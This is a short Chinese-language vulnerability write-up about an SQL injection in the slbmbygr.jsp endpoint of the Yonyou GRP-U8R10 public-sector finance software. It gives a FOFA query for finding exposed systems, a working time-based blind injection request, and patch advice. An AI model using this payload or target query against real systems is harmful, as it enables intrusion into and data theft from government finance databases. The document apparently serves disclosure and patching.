用友GRP

2024-07-11 07:22| 来源: 网络整理| 查看: 265

前言

此文章仅用于技术交流，严禁用于对外发起恶意攻击！！！

一、产品简介

用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业，基于云计算技术所推出的新一代产品，是我国行政事业财务领域最专业的政府财务管理软件。

二、漏洞描述

目前该系统slbmbygr.jsp接口存在SQL注入漏洞

三、影响范围

用友GRP-U8R10 U8Manager B、C、G 系列产品 < 20230905

四、复现环境

FOFA：app=“用友-GRP-U8”

五、漏洞复现

1.访问存在漏洞的网站在这里插入图片描述

2.POC

GET /u8qx/slbmbygr.jsp?gsdm=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: your-ip

3.成功在这里插入图片描述

六、漏洞利用

后续可以获取数据库敏感信息甚至获得用户主机权限。

七、修复建议

目前官方已发布更新补丁，请及时更新。

参考链接

https://blog.csdn.net/qq_41904294/article/details/133916403

【本文地址】

公司简介

联系我们